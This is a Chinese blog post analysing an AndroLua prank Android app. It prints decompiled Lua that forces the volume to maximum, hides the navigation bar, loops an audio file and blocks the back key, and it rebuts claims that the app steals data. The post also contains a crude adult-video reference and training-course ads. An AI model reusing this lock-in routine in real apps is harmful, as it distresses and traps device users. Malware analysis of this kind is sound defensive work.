网站首页 > 教程分享 正文
以下内容为易锦讲师pro分析发布,转载注明来源!
线上全程直播班第九期火热招生,马上开课!线上&实地班级均新增内推渠道及一线互联网公司最新面试题(安天、通付盾、梆梆、奇安信等)!咨询Q:1847076032(注明来源)
Q群692903341
表面上是病毒惨案,实际上是老司机们寻找原音频的速度车赛。
先附上分析完之后音频的车牌:SSNI-392
使用工具:Jadx,luadec
Jadx打开查看AndroidMasifest.xml发现应用权限只请求了网络和存储读写权限。
通过Application的指定类名可以看出这个应用可能是用lua写的。
通过对apk结构分析确定是Androlua应用。Androlua应用启动会首先加载在lua目录下面的lua文件初始化lua环境,在加载assets目录下的init.lua初始化应用配置,然后是main.lua文件执行写好的代码。所以重点在于分析assets下的main.lua文件。
在解开lua文件加密后就可以用luadec反编译出代码
(.require)(“import”)
;
(.import)(“android.app.*”)
;
(.import)(“android.os.*”)
;
(.import)(“android.widget.*”)
;
(.import)(“android.view.*”)
;
(.import)(“android.view.View”)
;
(.import)(“android.content.Context”)
;
(.import)(“android.media.MediaPlayer”)
;
(.import)(“android.media.AudioManager”)
;
(.import)(“com.Androlua.Ticker”)
;
((((.activity).getSystemService)((.Context).AUDIO_SERVICE)).setStreamVolume)((.AudioManager).STREAM_MUSIC, 15, (.AudioManager).FLAG_SHOW_UI)
local l_0_2 = (((.activity).getDecorView)()).setSystemUiVisibility
l_0_2((.View).SYSTEM_UI_FLAG_HIDE_NAVIGATION | (.View).SYSTEM_UI_FLAG_IMMERSIVE)
l_0_2 = .
l_0_2 = l_0_2()
local l_0_0 = nil
.m = l_0_2
l_0_2 = .m
l_0_2 = l_0_2.reset
l_0_2()
l_0_2 = .m
l_0_2 = l_0_2.setDataSource
l_0_0 = .activity
l_0_0 = l_0_0.getLuaDir
l_0_0 = l_0_0()
local l_0_1 = nil
l_0_1 = “/0.mp3”
l_0_0 = l_0_0 .. l_0_1
l_0_2(l_0_0)
l_0_2 = .m
l_0_2 = l_0_2.prepare
l_0_2()
l_0_2 = .m
l_0_2 = l_0_2.start
l_0_2()
l_0_2 = .m
l_0_2 = l_0_2.setLooping
l_0_0 = true
l_0_2(l_0_0)
l_0_2 = .Ticker
l_0_2 = l_0_2()
.ti = l_0_2
l_0_2 = .ti
l_0_2.Period = 10
l_0_2 = .ti
l_0_0 = function()
— function num : 0_0 , upvalues :
((((.activity).getSystemService)((.Context).AUDIO_SERVICE)).setStreamVolume)((.AudioManager).STREAM_MUSIC, 15, (.AudioManager).FLAG_SHOW_UI)
;
((((.activity).getDecorView)()).setSystemUiVisibility)((.View).SYSTEM_UI_FLAG_HIDE_NAVIGATION | (.View).SYSTEM_UI_FLAG_IMMERSIVE)
end
l_0_2.onTick = l_0_0
l_0_2 = .ti
l_0_2 = l_0_2.start
l_0_2()
l_0_2 = function(l_2_0, l_2_1)
— function num : 0_1 , upvalues :
if ((.string).find)((.tostring)(l_2_1), “KEYCODE_BACK”) ~= nil then
((((.activity).getSystemService)((.Context).AUDIO_SERVICE)).setStreamVolume)((.AudioManager).STREAM_MUSIC, 15, (.AudioManager).FLAG_SHOW_UI)
end
return true
end
.onKeyDown = l_0_2
由于Androlua编译lua文件时分离了编译的debug信息,所以导致luadec反编译的内容可读性较差。但是还是可以看出写的代码
重写成Java代码后就很明显了。
这里同时也贴出init.lua的内容
.appname = “送给最好的TA”
.appver = “1.0”
.appcode = “10”
.appsdk = “15”
.path_pattern = “”
.packagename = “com.sgzh.dt”
.theme = “Theme_DeviceDefault_Dialog_NoActionBar_MinWidth”
.app_key = “”
.app_channel = “”
.developer = “”
.description = “”
.debugmode = false
.user_permission = {“INTERNET”, “WRITE_EXTERNAL_STORAGE”}
这里说明一下,网上传的这个应用会持续截图,盗窃用户信息,是错误的
第一:在应用权限列表中没有截图权限,应用无法截图。
第二:
com.nirenr.screencapture.ScreenShot(截图类)在辅助服务类中调用。
然而由于AndroidManifest.xml文件的问题导致Android系统无法识别该应用的辅助服务
再者应用主逻辑中都没有关于截图的任何调用。
猜你喜欢
- 2025-04-26 flutter软件开发笔记20-flutter web开发
- 2025-04-26 AnyChart 7.4.1 改进了Legend API
- 2025-04-26 DevExpress v16.1.5图表、Dashboard等多个控件API发生变化
- 2025-04-26 用户界面框架jQuery EasyUI 1.4发布
- 2025-04-26 「O泡果奶」软件反编译破解
- 2025-04-26 HarmonyOS学习路之开发篇—Java UI框架(六大布局开发)
- 2025-04-26 游戏碰撞检测的实现
- 2025-04-26 Vue中轻松使模态框支持类窗口操作的增强组件
- 2025-04-26 一文带你搞懂JS实现压缩图片
- 2025-04-26 这个图片压缩神器,直接可以在前端用
你 发表评论:
欢迎- 最近发表
- 标签列表
-
- css导航条 (66)
- sqlinsert (63)
- js提交表单 (60)
- param (62)
- parentelement (65)
- jquery分享 (62)
- check约束 (64)
- curl_init (68)
- sql if语句 (69)
- import (66)
- chmod文件夹 (71)
- clearinterval (71)
- pythonrange (62)
- 数组长度 (61)
- javafx (59)
- 全局消息钩子 (64)
- sort排序 (62)
- jdbc (69)
- php网页源码 (59)
- assert h (69)
- httpclientjar (60)
- postgresql conf (59)
- winform开发 (59)
- mysql数字类型 (71)
- drawimage (61)
本文暂时没有评论,来添加一个吧(●'◡'●)